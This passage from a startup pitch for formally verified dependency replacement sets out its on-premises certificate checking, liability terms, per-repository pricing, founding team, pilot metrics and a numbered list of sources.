Regulated buyers now also ask where their code goes. Aikido’s answer for banks, hospitals and industrial operators is to ship a 328 GB model into the customer’s own infrastructure. Ours follows Chaum and proof-carrying code rather than custody. The package being replaced is already public, reachability analysis runs on the customer’s side, only the list of reachable entry points leaves, and the customer re-checks the certificate with a small checker inside its own network. The customer never hosts our prover or trusts our model; it runs the checker. We are making this a product rule before customer one. It costs real engineering, because the on-premises reachability tool still has to be sound.

On liability, our contracts limit our exposure to the verified properties. The liability surface equals the verification surface, so the customer knows exactly what we are warranting and what we are not. That is a stronger position than a scanner’s implied “we looked,” and it is one a CISO can underwrite.

Our first customers are crypto and web3 teams, whose exposure to wallet-draining payloads like the chalk/debug campaign is direct. The entry product is a paid one-dependency pilot: one dependency, one technical owner, and a definition of done agreed in advance. Design-partner capacity is limited at this time, but will expand with team and funding.

Pricing follows the value delivered. We price per repository or per application, not per seat or per component. Per-component pricing would penalize our own success, because every dependency we remove would reduce what we earn. Our liability is limited to verified properties. There is an explicit carve-out for derived data, covering de-identified patterns observed across codebases. And de-identification is provable and enforced in the pipeline rather than promised in policy. Customer code stays in the customer’s network: reachability runs on their side, and certificates are re-checked there.

Jay McCarthy, our CTO, is a named recipient of the 2018 ACM SIGPLAN Programming Languages Software Award for Racket. The award has also gone to Lean, Rust, OCaml, CompCert and WebAssembly. The citation credits Racket with having “generalized software contracts to higher-order settings” and having “participated in launching the area of gradual typing.”53532018 ACM SIGPLAN Programming Languages Software Award citation. sigplan.org ↗ Those two ideas, checking behavioral contracts at boundaries and mixing checked and unchecked code safely, are the foundation of our approach (see “We verify boundaries, not programs”). Chandra Duggirala, our CEO, is a physician turned serial founder, and he owns capital, customers and distribution.

Verification talent is the scarce input. The people who build and use Lean, Rocq, Isabelle, Dafny, F*, seL4 and CompCert are few, and our two networks reach many of them.

The pilot covers one dependency, one technical owner, and a definition of done fixed in advance. It must produce three numbers, measured and not estimated:

1. Cost per certificate. Fully loaded compute plus human hours per accepted certificate, broken out by stage: differential disproof, deduplication, and ∀ proof. Include the survivor rate at each stage.
2. Proven vs. tested coverage. The share of the customer-reachable API surface (the domain I) covered by the compatibility theorem, versus the share only differentially tested against the original. Report both, and never blend them.
3. Human proof work per package. Engineer-hours of manual proof engineering (lemmas, invariants, harness changes) needed for this package, and a forecast of how much of that carries over to the next package.

The pilots have to show that manual proof engineering per package is small or amortizes across packages, and that proven coverage stays large relative to tested coverage.

The checker has been reading along. This is what it can claim about your reading, and what it can’t. Like every certificate we issue, it states its specification, its coverage, its trusted base and its binding.

Every sourced claim above, in order of appearance. Figures from IronCI’s registry are internal measurements.

1. 1CISQ, The Cost of Poor Software Quality in the U.S. (Herb Krasner, Dec 6, 2022). A problem size, not an addressable market. it-cisq.org
2. 2Nick Szabo, “Money, Blockchains, and Social Scalability,” Feb 9, 2017. nakamotoinstitute.org
3. 3David Chaum, “Security without Identification,” Communications of the ACM 28(10), October 1985. chaum.com
4. 4Necula and Lee, “Safe Kernel Extensions Without Run-Time Checking,” OSDI 1996; Necula, “Proof-Carrying Code,” POPL 1997. ACM Digital Library
5. 5Fred B. Schneider, “Enforceable Security Policies,” ACM Transactions on Information and System Security, 2000. PDF
6. 6TypeSafe AI launch announcement, Business Wire, Sept 15, 2026. morningstar.com
7. 7Peter Frazier, “A Tutorial on Bayesian Optimization,” 2018. arXiv 1807.02811
8. 8Thomas Ptacek, “Vulnerability Research Is Cooked,” March 30, 2026. sockpuppet.org
9. 9Enclosure, “Secure Acceleration,” September 2026. PDF
10. 10Launch coverage quoting “over 100,000 malicious packages per day” (April 20, 2026), and Aikido’s own blog. tech.eu · aikido.dev
11. 11Bad Theory Labs, Interference Search repository and the BTL-4 model card. GitHub · Hugging Face
12. 12Aikido, “Aikido Altar,” Sept 21, 2026. Aikido’s internal benchmark; the announcement reports recall, not verification. aikido.dev
13. 13Bastian Wetzel, vericoding market map, 2026. Medium
14. 14VentureBeat on Theorem’s $6M seed led by Khosla, January 2026. venturebeat.com
15. 15Axiom’s $200M Series A led by Menlo Ventures, March 2026, at a $1.6B post-money valuation. SiliconANGLE · Menlo Ventures
16. 16Pramaana Labs’ $27M seed led by Khosla Ventures, June 2026. TechCrunch
17. 17Qodo’s $70M Series B, March 30, 2026. qodo.ai
18. 18Theorem’s Y Combinator company page. ycombinator.com
19. 19AxiomMath, Putnam 2025 Lean proofs. GitHub
20. 20ACM SIGPLAN Programming Languages Software Award, 2018: Racket. sigplan.org
21. 21Findler and Felleisen, “Contracts for Higher-Order Functions,” ICFP 2002. ACM Digital Library
22. 22Tobin-Hochstadt and Felleisen, “Interlanguage Migration,” DLS 2006; Siek and Taha, “Gradual Typing for Functional Languages,” Scheme Workshop 2006. ACM · PDF
23. 23Wadler and Findler, “Well-Typed Programs Can’t Be Blamed,” ESOP 2009. PDF
24. 24Bader, Aldrich and Tanter, “Gradual Program Verification,” VMCAI 2018. sigplan.org
25. 25Wing VC, January 2026. wing.vc
26. 26Epoch AI on the state of RL environments, citing The Information (September 2025) and founder interviews. epoch.ai
27. 27OpenAI, “The Hugging Face incident and the road ahead,” Aug 26, 2026. openai.com
28. 28Import AI 401 on Sakana AI’s CUDA engineer, February 2025. jack-clark.net
29. 29MarketsandMarkets, application modernization services. An analyst estimate. marketsandmarkets.com
30. 30DARPA, Translating All C to Rust (TRACTOR). darpa.mil
31. 31Silo AI: Forbes, July 2024. World Labs: TechCrunch, Sept 28, 2026. Forbes · TechCrunch
32. 32European Commission, Cyber Resilience Act. europa.eu
33. 33OpenAI, Hugging Face incident report and technical report, Aug 26, 2026. openai.com
34. 34Enclosure, “Secure Acceleration,” September 2026. PDF
35. 35Makins, Angelini, Shams and Phuong, July 2026. arXiv 2607.07368
36. 36Federal Register, Jan 16, 2025: “Beijing Zhipu Huazhang Technology Co., Ltd., a.k.a. … Zhipu AI.” federalregister.gov
37. 37Advisory AA26-251A, Sept 8, 2026, as quoted in the Cloud Security Alliance’s research note. CISA’s own page could not be retrieved automatically. cloudsecurityalliance.org
38. 38Cloud Security Alliance research note on AA26-251A, September 2026. cloudsecurityalliance.org
39. 39gpt-oss model card (Aug 5, 2025, Apache 2.0); Thinking Machines Lab, Inkling (July 15, 2026); NVIDIA Nemotron. gpt-oss · Inkling · Nemotron
40. 40seL4, verification assumptions. sel4.systems
41. 41Bad Theory Labs, Interference Search: 30 MBPP problems, Qwen3-1.7B; 9 of 30 solved versus 8 of 30 for best-of-N, “within noise.” GitHub
42. 42Aikido and Palo Alto Networks on the Sept 8, 2025 compromise. aikido.dev · paloaltonetworks.com
43. 43Internal measurement: IronCI registry, rubric v0.2.0.
44. 44Datadog Security Labs on the axios compromise, March 31, 2026. datadoghq.com
45. 45Aikido, Sept 8, 2025. aikido.dev
46. 46BTL-4 model card. Hugging Face
47. 47Harness-Zero, Sept 21, 2026. arXiv 2609.24974
48. 48Biderman et al., “LoRA Learns Less and Forgets Less,” TMLR 2024. arXiv 2405.09673
49. 49Dohare et al., “Loss of plasticity in deep continual learning,” Nature 632:768–774, 2024. PMC
50. 50Aikido’s acquisition of Root, June 30, 2026. SiliconANGLE · The New Stack
51. 51ActiveState Curated Catalog documentation, March 2026. activestate.com
52. 52Seal Security. seal.security
53. 532018 ACM SIGPLAN Programming Languages Software Award citation. sigplan.org